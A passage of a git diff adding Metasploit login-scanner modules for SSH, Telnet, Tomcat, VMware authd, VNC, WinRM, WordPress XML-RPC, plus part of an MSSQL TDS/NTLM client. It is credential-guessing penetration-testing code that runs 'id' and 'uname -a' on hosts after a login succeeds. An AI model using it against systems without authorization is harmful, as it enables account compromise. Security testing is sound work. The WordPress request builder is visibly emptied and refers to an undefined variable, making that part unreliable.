gather_proof + result_options.merge!( proof: proof, status: Metasploit::Model::Login::Status::SUCCESSFUL) + else + result_options.merge!( proof: nil, status: Metasploit::Model::Login::Status::INCORRECT) + end + end + + result = ::Metasploit::Framework::LoginScanner::Result.new(result_options) + result.host = host + result.port = port + result.protocol = 'tcp' + result.service_name = 'ssh' + result + end + + private + + # This method attempts to gather proof that we successfuly logged in. + # @return [String] The proof of a connection, May be empty. + def gather_proof + proof = '' + begin + Timeout.timeout(5) do + proof = ssh_socket.exec!("id\n").to_s + if(proof =~ /id=/) + proof << ssh_socket.exec!("uname -a\n").to_s + else + # Cisco IOS + if proof =~ /Unknown command or computer name/ + proof = ssh_socket.exec!("ver\n").to_s + else + proof << ssh_socket.exec!("help\n?\n\n\n").to_s + end + end + end + rescue ::Exception + end + proof + end + + def set_sane_defaults + self.connection_timeout = 30 if self.connection_timeout.nil? + self.port = DEFAULT_PORT if self.port.nil? + self.verbosity = :fatal if self.verbosity.nil? + end + + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/telnet.rb b/lib/metasploit/framework/login_scanner/telnet.rb new file mode 100644 index 0000000000..ec9c374292 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/telnet.rb @@ -0,0 +1,117 @@ +require 'metasploit/framework/telnet/client' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with Telnet remote terminals. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class Telnet + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Telnet::Client + + CAN_GET_SESSION = true + DEFAULT_PORT = 23 + LIKELY_PORTS = [ DEFAULT_PORT ] + LIKELY_SERVICE_NAMES = [ 'telnet' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = nil + + # @!attribute verbosity + # The timeout to wait for the telnet banner. + # + # @return [Fixnum] + attr_accessor :banner_timeout + # @!attribute verbosity + # The timeout to wait for the response from a telnet command. + # + # @return [Fixnum] + attr_accessor :telnet_timeout + + validates :banner_timeout, + presence: true, + numericality: { + only_integer: true, + greater_than_or_equal_to: 1 + } + + validates :telnet_timeout, + presence: true, + numericality: { + only_integer: true, + greater_than_or_equal_to: 1 + } + + # (see {Base#attempt_login}) + def attempt_login(credential) + result_options = { + credential: credential, + host: host, + port: port, + protocol: 'tcp', + service_name: 'telnet' + } + + if connect_reset_safe == :refused + result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + else + if busy_message? + self.sock.close unless self.sock.closed? + result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + end + + unless result_options[:status] + unless password_prompt? + send_user(credential.public) + end + + recvd_sample = @recvd.dup + # Allow for slow echos + 1.upto(10) do + recv_telnet(self.sock, 0.10) unless @recvd.nil? or @recvd[/#{@password_prompt}/] + end + + if password_prompt?(credential.public) + send_pass(credential.private) + + # Allow for slow echos + 1.upto(10) do + recv_telnet(self.sock, 0.10) if @recvd == recvd_sample + end + end + + if login_succeeded? + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + else + result_options[:status] = Metasploit::Model::Login::Status::INCORRECT + end + + end + + ::Metasploit::Framework::LoginScanner::Result.new(result_options) + end + + private + + # This method sets the sane defaults for things + # like timeouts and TCP evasion options + def set_sane_defaults + self.connection_timeout ||= 30 + self.max_send_size ||= 0 + self.port ||= DEFAULT_PORT + self.send_delay ||= 0 + self.banner_timeout ||= 25 + self.telnet_timeout ||= 10 + self.connection_timeout ||= 30 + # Shim to set up the ivars from the old Login mixin + create_login_ivars + end + + end + end + end +end diff --git a/lib/metasploit/framework/login_scanner/tomcat.rb b/lib/metasploit/framework/login_scanner/tomcat.rb new file mode 100644 index 0000000000..c773af7058 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/tomcat.rb @@ -0,0 +1,28 @@ + +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + + # Tomcat Manager login scanner + class Tomcat < HTTP + + # Inherit LIKELY_PORTS,LIKELY_SERVICE_NAMES, and REALM_KEY from HTTP + CAN_GET_SESSION = true + DEFAULT_PORT = 8180 + PRIVATE_TYPES = [ :password ] + + # (see Base#set_sane_defaults) + def set_sane_defaults + self.uri = "/manager/html" if self.uri.nil? + self.method = "GET" if self.method.nil? + + super + end + + end + end + end +end + diff --git a/lib/metasploit/framework/login_scanner/vmauthd.rb b/lib/metasploit/framework/login_scanner/vmauthd.rb new file mode 100644 index 0000000000..e3bc61d8c6 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/vmauthd.rb @@ -0,0 +1,112 @@ +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' +require 'metasploit/framework/tcp/client' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with vmware-auth. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class VMAUTHD + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Tcp::Client + + DEFAULT_PORT = 902 + LIKELY_PORTS = [ DEFAULT_PORT, 903, 912 ] + LIKELY_SERVICE_NAMES = [ 'vmauthd', 'vmware-auth' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = nil + + # This method attempts a single login with a single credential against the target + # @param credential [Credential] The credential object to attempt to login with + # @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object + def attempt_login(credential) + result_options = { + credential: credential, + status: Metasploit::Model::Login::Status::INCORRECT, + proof: nil, + host: host, + port: port, + service_name: 'vmauthd', + protocol: 'tcp' + } + + disconnect if self.sock + + begin + connect + select([sock], nil, nil, 0.4) + + # Check to see if we received an OK? + result_options[:proof] = sock.get_once + if result_options[:proof] && result_options[:proof][/^220 VMware Authentication Daemon Version.*/] + # Switch to SSL if required + swap_sock_plain_to_ssl(sock) if result_options[:proof] && result_options[:proof][/SSL/] + + # If we received an OK we should send the USER + sock.put("USER #{credential.public}\r\n") + result_options[:proof] = sock.get_once + + if result_options[:proof] && result_options[:proof][/^331.*/] + # If we got an OK after the username we can send the PASS + sock.put("PASS #{credential.private}\r\n") + result_options[:proof] = sock.get_once + + if result_options[:proof] && result_options[:proof][/^230.*/] + # if the pass gives an OK, we're good to go + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + end + end + end + + rescue Rex::ConnectionError, EOFError, Timeout::Error, Errno::EPIPE => e + result_options.merge!( + proof: e.message, + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + ) + end + + disconnect if self.sock + + Result.new(result_options) + end + + private + + # (see Base#set_sane_defaults) + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= DEFAULT_PORT + self.max_send_size ||= 0 + self.send_delay ||= 0 + end + + def swap_sock_plain_to_ssl(nsock=self.sock) + ctx = generate_ssl_context + ssl = OpenSSL::SSL::SSLSocket.new(nsock, ctx) + + ssl.connect + + nsock.extend(Rex::Socket::SslTcp) + nsock.sslsock = ssl + nsock.sslctx = ctx + end + + def generate_ssl_context + ctx = OpenSSL::SSL::SSLContext.new(:SSLv3) + @@cached_rsa_key ||= OpenSSL::PKey::RSA.new(1024){} + + ctx.key = @@cached_rsa_key + + ctx.session_id_context = Rex::Text.rand_text(16) + + ctx + end + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/vnc.rb b/lib/metasploit/framework/login_scanner/vnc.rb new file mode 100644 index 0000000000..b07cda1bd7 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/vnc.rb @@ -0,0 +1,128 @@ +require 'metasploit/framework/tcp/client' +require 'rex/proto/rfb' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' + +module Metasploit + module Framework + module LoginScanner + # This is the LoginScanner class for dealing with the VNC RFB protocol. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class VNC + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Tcp::Client + + + # + # CONSTANTS + # + + LIKELY_PORTS = (5900..5910).to_a + LIKELY_SERVICE_NAMES = [ 'vnc' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = nil + + # Error indicating retry should occur for UltraVNC + ULTRA_VNC_RETRY_ERROR = 'connection has been rejected' + # Error indicating retry should occur for VNC 4 Server + VNC4_SERVER_RETRY_ERROR = 'Too many security failures' + # Known retry errors for all supported versions of VNC + RETRY_ERRORS = [ + ULTRA_VNC_RETRY_ERROR, + VNC4_SERVER_RETRY_ERROR + ] + + # This method attempts a single login with a single credential against the target + # @param credential [Credential] The credential object to attmpt to login with + # @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object + def attempt_login(credential) + result_options = { + credential: credential, + host: host, + port: port, + protocol: 'tcp', + service_name: 'vnc' + } + + credential.public = nil + + begin + # Make our initial socket to the target + disconnect if self.sock + connect + + # Create our VNC client overtop of the socket + vnc = Rex::Proto::RFB::Client.new(sock, :allow_none => false) + + + if vnc.handshake + if vnc_auth(vnc,credential.private) + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + else + result_options.merge!( + proof: vnc.error, + status: Metasploit::Model::Login::Status::INCORRECT + ) + end + else + result_options.merge!( + proof: vnc.error, + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + ) + end + rescue ::EOFError, Errno::ENOTCONN, Rex::AddressInUse, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error => e + result_options.merge!( + proof: e.message, + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + ) + end + + ::Metasploit::Framework::LoginScanner::Result.new(result_options) + end + + private + + # Check the VNC error to see if we should wait and retry. + # + # @param error [String] The VNC error message received + # @return [false] don't retry + # @return [true] retry + def retry?(error) + RETRY_ERRORS.include?(error) + end + + # This method sets the sane defaults for things + # like timeouts and TCP evasion options + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= 5900 + self.max_send_size ||= 0 + self.send_delay ||= 0 + end + + # This method attempts the actual VNC authentication. It has built in retries to handle + # delays built into the VNC RFB authentication. + # @param client [Rex::Proto::RFB::Client] The VNC client object to authenticate through + # @param password [String] the password to attempt the authentication with + def vnc_auth(client,password) + success = false + 5.times do |n| + if client.authenticate(password) + success = true + break + end + break unless retry?(client.error) + + # Wait for an increasing ammount of time before retrying + delay = (2**(n+1)) + 1 + ::Rex.sleep(delay) + end + success + end + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/winrm.rb b/lib/metasploit/framework/login_scanner/winrm.rb new file mode 100644 index 0000000000..af079b262e --- /dev/null +++ b/lib/metasploit/framework/login_scanner/winrm.rb @@ -0,0 +1,52 @@ + +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + + # Windows Remote Management login scanner + class WinRM < HTTP + + # The default port where WinRM listens. This is what you get on + # v1.1+ with `winrm quickconfig`. Note that before v1.1, the + # default was 80 + DEFAULT_PORT = 5985 + + # The default realm is WORKSTATION which tells Windows authentication + # that it is a Local Account. + DEFAULT_REALM = 'WORKSTATION' + + # The default port where WinRM listens when SSL is enabled. Note + # that before v1.1, the default was 443 + DEFAULT_SSL_PORT = 5986 + + PRIVATE_TYPES = [ :password ] + LIKELY_PORTS = [ 80, 443, 5985, 5986 ] + REALM_KEY = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN + # Inherit LIKELY_SERVICE_NAMES, since a scanner will see it as + # just HTTP. + + validates :method, inclusion: { in: ["POST"] } + + # (see Base#set_sane_defaults) + def set_sane_defaults + self.uri = "/wsman" if self.uri.nil? + @method = "POST".freeze + + super + end + + # The method *must* be "POST", so don't let the user change it + # @raise [RuntimeError] Unconditionally + def method=(_) + raise RuntimeError, "Method must be POST for WinRM" + end + + end + end + end +end + diff --git a/lib/metasploit/framework/login_scanner/wordpress_rpc.rb b/lib/metasploit/framework/login_scanner/wordpress_rpc.rb new file mode 100644 index 0000000000..bf4ea1462a --- /dev/null +++ b/lib/metasploit/framework/login_scanner/wordpress_rpc.rb @@ -0,0 +1,80 @@ +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + + # Wordpress XML RPC login scanner + class WordpressRPC < HTTP + + # (see Base#attempt_login) + def attempt_login(credential) + http_client = Rex::Proto::Http::Client.new( + host, port, {}, ssl, ssl_version + ) + + result_opts = { + credential: credential, + host: host, + port: port, + protocol: 'tcp' + } + if ssl + result_opts[:service_name] = 'https' + else + result_opts[:service_name] = 'http' + end + + begin + http_client.connect + + request = http_client.request_cgi( + 'uri' => uri, + 'method' => method, + 'data' => generate_xml_request(credential.public,credential.private), + ) + response = http_client.send_recv(request) + + if response && response.code == 200 && response.body =~ /401<\/int><\/value>/ || response.body =~ /user_id<\/name>/ + result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response) + elsif res.body =~ /-32601<\/int><\/value>/ + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + else + result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: response) + end + rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + Result.new(result_opts) + + end + + # This method generates the XML data for the RPC login request + # @param user [String] the username to authenticate with + # @param pass [String] the password to authenticate with + # @return [String] the generated XML body for the request + def generate_xml_request(user, pass) + xml = "" + xml << '' + xml << 'wp.getUsers' + xml << '1' + xml << "#{user}" + xml << "#{pass}" + xml << '' + xml << '' + xml + end + + # (see Base#set_sane_defaults) + def set_sane_defaults + @method = "POST".freeze + super + end + + end + end + end +end + + diff --git a/lib/metasploit/framework/mssql/client.rb b/lib/metasploit/framework/mssql/client.rb new file mode 100644 index 0000000000..2e1f21fac1 --- /dev/null +++ b/lib/metasploit/framework/mssql/client.rb @@ -0,0 +1,728 @@ +require 'metasploit/framework/tcp/client' + +module Metasploit + module Framework + module MSSQL + + module Client + include Metasploit::Framework::Tcp::Client + + NTLM_CRYPT = Rex::Proto::NTLM::Crypt + NTLM_CONST = Rex::Proto::NTLM::Constants + NTLM_UTILS = Rex::Proto::NTLM::Utils + NTLM_XCEPT = Rex::Proto::NTLM::Exceptions + + # Encryption + ENCRYPT_OFF = 0x00 #Encryption is available but off. + ENCRYPT_ON = 0x01 #Encryption is available and on. + ENCRYPT_NOT_SUP = 0x02 #Encryption is not available. + ENCRYPT_REQ = 0x03 #Encryption is required. + + # Packet Type + TYPE_SQL_BATCH = 1 # (Client) SQL command + TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused) + TYPE_RPC = 3 # (Client) RPC + TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters, + # Request Completion, Error and Info Messages, Attention Acknowledgement + TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention + TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data + TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager + TYPE_TDS7_LOGIN = 16 # (Client) Login + TYPE_SSPI_MESSAGE = 17 # (Client) Login + TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7 + + # Status + STATUS_NORMAL = 0x00 + STATUS_END_OF_MESSAGE = 0x01 + STATUS_IGNORE_EVENT = 0x02 + STATUS_RESETCONNECTION = 0x08 # TDS 7.1+ + STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+ + + # + # This method connects to the server over TCP and attempts + # to authenticate with the supplied username and password + # The global socket is used and left connected after auth + # + def mssql_login(user='sa', pass='', db='', domain_name='') + + disconnect if self.sock + connect + + # Send a prelogin packet and check that encryption is not enabled + if mssql_prelogin() != ENCRYPT_NOT_SUP + print_error("Encryption is not supported") + return false + end + + if windows_authentication + idx = 0 + pkt = '' + pkt_hdr = '' + pkt_hdr = [ + TYPE_TDS7_LOGIN, #type + STATUS_END_OF_MESSAGE, #status + 0x0000, #length + 0x0000, # SPID + 0x01, # PacketID (unused upon specification + # but ms network monitor stil prefer 1 to decode correctly, wireshark don't care) + 0x00 #Window + ] + + pkt << [ + 0x00000000, # Size + 0x71000001, # TDS Version + 0x00000000, # Dummy Size + 0x00000007, # Version + rand(1024+1), # PID + 0x00000000, # ConnectionID + 0xe0, # Option Flags 1 + 0x83, # Option Flags 2 + 0x00, # SQL Type Flags + 0x00, # Reserved Flags + 0x00000000, # Time Zone + 0x00000000 # Collation + ].pack('VVVVVVCCCCVV') + + cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) + aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) #application and library name + sname = Rex::Text.to_unicode( rhost ) + dname = Rex::Text.to_unicode( db ) + + ntlm_options = { + :signing => false, + :usentlm2_session => use_ntlm2_session, + :use_ntlmv2 => use_ntlmv2, + :send_lm => send_lm, + :send_ntlm => send_ntlm + } + + ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options) + workstation_name = Rex::Text.rand_text_alpha(rand(8)+1) + + ntlmsspblob = NTLM_UTILS::make_ntlmssp_blob_init(domain_name, workstation_name, ntlmssp_flags) + + idx = pkt.size + 50 # lengths below + + pkt << [idx, cname.length / 2].pack('vv') + idx += cname.length + + pkt << [0, 0].pack('vv') # User length offset must be 0 + pkt << [0, 0].pack('vv') # Password length offset must be 0 + + pkt << [idx, aname.length / 2].pack('vv') + idx += aname.length + + pkt << [idx, sname.length / 2].pack('vv') + idx += sname.length + + pkt << [0, 0].pack('vv') # unused + + pkt << [idx, aname.length / 2].pack('vv') + idx += aname.length + + pkt << [idx, 0].pack('vv') # locales + + pkt << [idx, 0].pack('vv') #db + + # ClientID (should be mac address) + pkt << Rex::Text.rand_text(6) + + # NTLMSSP + pkt << [idx, ntlmsspblob.length].pack('vv') + idx += ntlmsspblob.length + + pkt << [idx, 0].pack('vv') # AtchDBFile + + pkt << cname + pkt << aname + pkt << sname + pkt << aname + pkt << ntlmsspblob + + # Total packet length + pkt[0,4] = [pkt.length].pack('V') + + pkt_hdr[2] = pkt.length + 8 + + pkt = pkt_hdr.pack("CCnnCC") + pkt + + # Rem : One have to set check_status to false here because sql server sp0 (and maybe above) + # has a strange behavior that differs from the specifications + # upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header + # is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification + resp = mssql_send_recv(pkt,15, false) + + # Get default data + begin + blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(resp) + # a domain.length < 3 will hit this + rescue NTLM_XCEPT::NTLMMissingChallenge + return false + end + + challenge_key = blob_data[:challenge_key] + server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error + #netbios name + default_name = blob_data[:default_name] || '' + #netbios domain + default_domain = blob_data[:default_domain] || '' + #dns name + dns_host_name = blob_data[:dns_host_name] || '' + #dns domain + dns_domain_name = blob_data[:dns_domain_name] || '' + #Client time + chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || '' + + spnopt = {:use_spn => send_spn, :name => self.rhost} + + resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(user, pass, challenge_key, + domain_name, default_name, default_domain, + dns_host_name, dns_domain_name, chall_MsvAvTimestamp, + spnopt, ntlm_options) + + ntlmssp = NTLM_UTILS.make_ntlmssp_blob_auth(domain_name, workstation_name, user, resp_lm, resp_ntlm, '', ntlmssp_flags) + + # Create an SSPIMessage + idx = 0 + pkt = '' + pkt_hdr = '' + pkt_hdr = [ + TYPE_SSPI_MESSAGE, #type + STATUS_END_OF_MESSAGE, #status + 0x0000, #length + 0x0000, # SPID + 0x01, # PacketID + 0x00 #Window + ] + + pkt_hdr[2] = ntlmssp.length + 8 + + pkt = pkt_hdr.pack("CCnnCC") + ntlmssp + + resp = mssql_send_recv(pkt) + + + #SQL Server Authentification + else + idx = 0 + pkt = '' + pkt << [ + 0x00000000, # Dummy size + + 0x71000001, # TDS Version + 0x00000000, # Size + 0x00000007, # Version + rand(1024+1), # PID + 0x00000000, # ConnectionID + 0xe0, # Option Flags 1 + 0x03, # Option Flags 2 + 0x00, # SQL Type Flags + 0x00, # Reserved Flags + 0x00000000, # Time Zone + 0x00000000 # Collation + ].pack('VVVVVVCCCCVV') + + + cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) + uname = Rex::Text.to_unicode( user ) + pname = mssql_tds_encrypt( pass ) + aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) + sname = Rex::Text.to_unicode( rhost ) + dname = Rex::Text.to_unicode( db ) + + idx = pkt.size + 50 # lengths below + + pkt << [idx, cname.length / 2].pack('vv') + idx += cname.length + + pkt << [idx, uname.length / 2].pack('vv') + idx += uname.length + + pkt << [idx, pname.length / 2].pack('vv') + idx += pname.length + + pkt << [idx, aname.length / 2].pack('vv') + idx += aname.length + + pkt << [idx, sname.length / 2].pack('vv') + idx += sname.length + + pkt << [0, 0].pack('vv') + + pkt << [idx, aname.length / 2].pack('vv') + idx += aname.length + + pkt << [idx, 0].pack('vv') + + pkt << [idx, dname.length / 2].pack('vv') + idx += dname.length + + # The total length has to be embedded twice more here + pkt << [ + 0, + 0, + 0x12345678, + 0x12345678 + ].pack('vVVV') + + pkt << cname + pkt << uname + pkt << pname + pkt << aname + pkt << sname + pkt << aname + pkt << dname + + # Total packet length + pkt[0,4] = [pkt.length].pack('V') + + # Embedded packet lengths + pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2 + + # Packet header and total length including header + pkt = "\x10\x01" + [pkt.length + 8].pack('n') + [0].pack('n') + [1].pack('C') + "\x00" + pkt + + resp = mssql_send_recv(pkt) + + end + + info = {:errors => []} + info = mssql_parse_reply(resp,info) + + return false if not info + info[:login_ack] ? true : false + end + + # + # Parse an "environment change" TDS token + # + def mssql_parse_env(data, info) + len = data.slice!(0,2).unpack('v')[0] + buff = data.slice!(0,len) + type = buff.slice!(0,1).unpack('C')[0] + + nval = '' + nlen = buff.slice!(0,1).unpack('C')[0] || 0 + nval = buff.slice!(0,nlen*2).gsub("\x00", '') if nlen > 0 + + oval = '' + olen = buff.slice!(0,1).unpack('C')[0] || 0 + oval = buff.slice!(0,olen*2).gsub("\x00", '') if olen > 0 + + info[:envs] ||= [] + info[:envs] << { :type => type, :old => oval, :new => nval } + info + end + + # + # Parse a "ret" TDS token + # + def mssql_parse_ret(data, info) + ret = data.slice!(0,4).unpack('N')[0] + info[:ret] = ret + info + end + + # + # Parse a "done" TDS token + # + def mssql_parse_done(data, info) + status,cmd,rows = data.slice!(0,8).unpack('vvV') + info[:done] = { :status => status, :cmd => cmd, :rows => rows } + info + end + + # + # Parse an "error" TDS token + # + def mssql_parse_error(data, info) + len = data.slice!(0,2).unpack('v')[0] + buff = data.slice!(0,len) + + errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv') + emsg = buff.slice!(0,elen * 2) + emsg.gsub!("\x00", '') + + info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}" + info + end + + # + # Parse an "information" TDS token + # + def mssql_parse_info(data, info) + len = data.slice!(0,2).unpack('v')[0] + buff = data.slice!(0,len) + + errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv') + emsg = buff.slice!(0,elen * 2) + emsg.gsub!("\x00", '') + + info[:infos]||= [] + info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}" + info + end + + # + # Parse a "login ack" TDS token + # + def mssql_parse_login_ack(data, info) + len = data.slice!(0,2).unpack('v')[0] + buff = data.slice!(0,len) + info[:login_ack] = true + end + + # + # Parse individual tokens from a TDS reply + # + def mssql_parse_reply(data, info) + info[:errors] = [] + return if not data + until data.empty? + token = data.slice!(0,1).unpack('C')[0] + case token + when 0x81 + mssql_parse_tds_reply(data, info) + when 0xd1 + mssql_parse_tds_row(data, info) + when 0xe3 + mssql_parse_env(data, info) + when 0x79 + mssql_parse_ret(data, info) + when 0xfd, 0xfe, 0xff + mssql_parse_done(data, info) + when 0xad + mssql_parse_login_ack(data, info) + when 0xab + mssql_parse_info(data, info) + when 0xaa + mssql_parse_error(data, info) + when nil + break + else + info[:errors] << "unsupported token: #{token}" + end + end + info + end + + # + # Parse a raw TDS reply from the server + # + def mssql_parse_tds_reply(data, info) + info[:errors] ||= [] + info[:colinfos] ||= [] + info[:colnames] ||= [] + + # Parse out the columns + cols = data.slice!(0,2).unpack('v')[0] + 0.upto(cols-1) do |col_idx| + col = {} + info[:colinfos][col_idx] = col + + col[:utype] = data.slice!(0,2).unpack('v')[0] + col[:flags] = data.slice!(0,2).unpack('v')[0] + col[:type] = data.slice!(0,1).unpack('C')[0] + + case col[:type] + when 48 + col[:id] = :tinyint + + when 52 + col[:id] = :smallint + + when 56 + col[:id] = :rawint + + when 61 + col[:id] = :datetime + + when 34 + col[:id] = :image + col[:max_size] = data.slice!(0,4).unpack('V')[0] + col[:value_length] = data.slice!(0,2).unpack('v')[0] + col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '') + + when 36 + col[:id] = :string + + when 38 + col[:id] = :int + col[:int_size] = data.slice!(0,1).unpack('C')[0] + + when 127 + col[:id] = :bigint + + when 165 + col[:id] = :hex + col[:max_size] = data.slice!(0,2).unpack('v')[0] + + when 173 + col[:id] = :hex # binary(2) + col[:max_size] = data.slice!(0,2).unpack('v')[0] + + when 231,175,167,239 + col[:id] = :string + col[:max_size] = data.slice!(0,2).unpack('v')[0] + col[:codepage] = data.slice!(0,2).unpack('v')[0] + col[:cflags] = data.slice!(0,2).unpack('v')[0] + col[:charset_id] = data.slice!(0,1).unpack('C')[0] + + else + col[:id] = :unknown + end + + col[:msg_len] = data.slice!(0,1).unpack('C')[0] + + if(col[:msg_len] and col[:msg_len] > 0) + col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '') + end + info[:colnames] << (col[:name] || 'NULL') + end + end + + # + # Parse a single row of a TDS reply + # + def mssql_parse_tds_row(data, info) + info[:rows] ||= [] + row = [] + + info[:colinfos].each do |col| + + if(data.length == 0) + row << "" + next + end + + case col[:id] + when :hex + str = "" + len = data.slice!(0,2).unpack('v')[0] + if(len > 0 and len < 65535) + str << data.slice!(0,len) + end + row << str.unpack("H*")[0] + + when :string + str = "" + len = data.slice!(0,2).unpack('v')[0] + if(len > 0 and len < 65535) + str << data.slice!(0,len) + end + row << str.gsub("\x00", '') + + when :datetime + row << data.slice!(0,8).unpack("H*")[0] + + when :rawint + row << data.slice!(0,4).unpack('V')[0] + + when :bigint + row << data.slice!(0,8).unpack("H*")[0] + + when :smallint + row << data.slice!(0, 2).unpack("v")[0] + + when :smallint3 + row << [data.slice!(0, 3)].pack("Z4").unpack("V")[0] + + when :tinyint + row << data.slice!(0, 1).unpack("C")[0] + + when :image + str = '' + len = data.slice!(0,1).unpack('C')[0] + str = data.slice!(0,len) if (len and len > 0) + row << str.unpack("H*")[0] + + when :int + len = data.slice!(0, 1).unpack("C")[0] + raw = data.slice!(0, len) if (len and len > 0) + + case len + when 0,255 + row << '' + when 1 + row << raw.unpack("C")[0] + when 2 + row << raw.unpack('v')[0] + when 4 + row << raw.unpack('V')[0] + when 5 + row << raw.unpack('V')[0] # XXX: missing high byte + when 8 + row << raw.unpack('VV')[0] # XXX: missing high dword + else + info[:errors] << "invalid integer size: #{len} #{data[0,16].unpack("H*")[0]}" + end + else + info[:errors] << "unknown column type: #{col.inspect}" + end + end + + info[:rows] << row + info + end + + # + #this method send a prelogin packet and check if encryption is off + # + def mssql_prelogin(enc_error=false) + + pkt = "" + pkt_hdr = "" + pkt_data_token = "" + pkt_data = "" + + + pkt_hdr = [ + TYPE_PRE_LOGIN_MESSAGE, #type + STATUS_END_OF_MESSAGE, #status + 0x0000, #length + 0x0000, # SPID + 0x00, # PacketID + 0x00 #Window + ] + + version = [0x55010008,0x0000].pack("Vv") + encryption = ENCRYPT_NOT_SUP # off + instoptdata = "MSSQLServer\0" + + threadid = "\0\0" + Rex::Text.rand_text(2) + + idx = 21 # size of pkt_data_token + pkt_data_token << [ + 0x00, # Token 0 type Version + idx , # VersionOffset + version.length, # VersionLength + + 0x01, # Token 1 type Encryption + idx = idx + version.length, # EncryptionOffset + 0x01, # EncryptionLength + + 0x02, # Token 2 type InstOpt + idx = idx + 1, # InstOptOffset + instoptdata.length, # InstOptLength + + 0x03, # Token 3 type Threadid + idx + instoptdata.length, # ThreadIdOffset + 0x04, # ThreadIdLength + + 0xFF + ].pack("CnnCnnCnnCnnC") + + pkt_data << pkt_data_token + pkt_data << version + pkt_data << encryption + pkt_data << instoptdata + pkt_data << threadid + + pkt_hdr[2] = pkt_data.length + 8 + + pkt = pkt_hdr.pack("CCnnCC") + pkt_data + + resp = mssql_send_recv(pkt) + + idx = 0 + + while resp and resp[0,1] != "\xff" and resp.length > 5 + token = resp.slice!(0,5) + token = token.unpack("Cnn") + idx -= 5 + if token[0] == 0x01 + + idx += token[1] + break + end + end + if idx > 0 + encryption_mode = resp[idx,1].unpack("C")[0] + else + #force to ENCRYPT_NOT_SUP and hope for the best + encryption_mode = ENCRYPT_NOT_SUP + end + + if encryption_mode != ENCRYPT_NOT_SUP and enc_error + raise RuntimeError,"Encryption is not supported" + end + encryption_mode + end + + # + # Send and receive using TDS + # + def mssql_send_recv(req, timeout=15, check_status 